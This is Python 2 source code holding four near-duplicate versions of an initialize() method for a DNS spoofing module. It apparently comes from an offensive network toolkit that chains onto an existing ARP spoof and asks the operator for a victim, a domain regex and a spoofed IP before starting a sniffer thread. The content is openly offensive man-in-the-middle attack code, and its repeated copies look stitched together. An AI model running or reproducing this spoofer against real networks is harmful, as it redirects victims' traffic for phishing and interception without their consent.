def initialize(self):
"""Initialize the DNS spoofer.
"""
dns_spoofed = self.config['dns_spoofed'].value
dns_name = self.config['dns_name'].value
if dns_name in self.dns_spoofed_pair:
util.Error("DNS pattern is already being spoofed.")
return None
if 'www' in dns_spoofed or '.com' in dns_spoofed:
# hostname, get ip
dns_spoofed = util.getipbyhost(dns_spoofed)
dns_name = re.compile(dns_name)
self.dns_spoofed_pair[dns_name] = dns_spoofed
self.running = True
util.Msg('Starting DNS spoofer...')
thread = Thread(target=self.dns_sniffer)
self.config['dns_spoofed'].value = dns_spoofed
self.config['dns_name'].value = dns_name
thread.start()
if self.config['victim'].value is None:
return 'All DNS requests'
else:
return self.config['victim'].value
def initialize(self):
"""Initialize the DNS spoofer.
"""
dns_spoofed = self.config['dns_spoofed'].value
dns_name = self.config['dns_name'].value
if dns_name in self.dns_spoofed_pair:
util.Error("DNS pattern is already being spoofed.")
return None
if 'www' in dns_spoofed or '.com' in dns_spoofed:
# hostname, get ip
dns_spoofed = util.getipbyhost(dns_spoofed)
dns_name = re.compile(dns_name)
self.dns_spoofed_pair[dns_name] = dns_spoofed
self.running = True
util.Msg('Starting DNS spoofer...')
thread = Thread(target=self.dns_sniffer)
self.config['dns_spoofed'].value = dns_spoofed
self.config['dns_name'].value = dns_name
thread.start()
if self.config['victim'].value is None:
return 'All DNS requests'
else:
return self.config['victim'].value
def initialize(self):
"""Initialize the DNS spoofer. This is dependent
on a running ARP spoof; for now!
"""
try:
arps = None
key = None
if 'ARP Spoof' in stream.HOUSE:
house = stream.HOUSE['ARP Spoof']
else:
util.Error('ARP spoof required!')
return
while True:
stream.dump_module_sessions('ARP Spoof')
try:
num = int(raw_input('[number] > '))
except TypeError:
continue
if len(house.keys()) > num:
key = house.keys()[num]
arps = house[key]
self.source = arps.victim[0]
self.local_mac = arps.local[1]
break
else:
return
dns_name = raw_input('[!] Enter regex to match DNS:\t')
if dns_name in self.dns_spoofed_pair:
util.Msg('DNS is already being spoofed (%s).'
% (self.dns_spoofed_pair[dns_name]))
return
dns_spoofed = raw_input('[!] Spoof DNS entry matching %s to:\t'
% (dns_name))
tmp = raw_input('[!] Spoof DNS record \'%s\' to \'%s\'. Is this correct?'%
(dns_name,dns_spoofed))
if 'n' in tmp.lower():
return
if 'www' in dns_spoofed or '.com' in dns_spoofed:
# hostname, get ip
dns_spoofed = util.getipbyhost(dns_spoofed)
dns_name = re.compile(dns_name)
self.dns_spoofed_pair[dns_name] = dns_spoofed
self.running = True
util.Msg('Starting DNS spoofer...')
thread = Thread(target=self.dns_sniffer)
thread.start()
except KeyboardInterrupt:
return None
except re.error:
util.Error('Invalid regex given.')
return None
except Exception, j:
util.Error('Error: %s' % j)
return None
def initialize(self):
"""Initialize the DNS spoofer. This is dependent
on a running ARP spoof; for now!
"""
try:
arps = None
key = None
if 'ARP Spoof' in stream.HOUSE:
house = stream.HOUSE['ARP Spoof']
else:
util.Error('ARP spoof required!')
return
while True:
stream.dump_module_sessions('ARP Spoof')
try:
num = int(raw_input('[number] > '))
except TypeError:
continue
if len(house.keys()) > num:
key = house.keys()[num]
arps = house[key]
self.source = arps.victim[0]
self.local_mac = arps.local[1]
break
else:
return
dns_name = raw_input('[!] Enter regex to match DNS:\t')
if dns_name in self.dns_spoofed_pair:
util.Msg('DNS is already being spoofed (%s).' %
(self.dns_spoofed_pair[dns_name]))
return
dns_spoofed = raw_input('[!] Spoof DNS entry matching %s to:\t' %
(dns_name))
tmp = raw_input(
'[!] Spoof DNS record \'%s\' to \'%s\'. Is this correct?' %
(dns_name, dns_spoofed))
if 'n' in tmp.lower():
return
if 'www' in dns_spoofed or '.com' in dns_spoofed:
# hostname, get ip
dns_spoofed = util.getipbyhost(dns_spoofed)
dns_name = re.compile(dns_name)
self.dns_spoofed_pair[dns_name] = dns_spoofed
self.running = True
util.Msg('Starting DNS spoofer...')
thread = Thread(target=self.dns_sniffer)
thread.start()
except KeyboardInterrupt:
return None
except re.error:
util.Error('Invalid regex given.')
return None
except Exception, j:
util.Error('Error: %s' % j)
return None
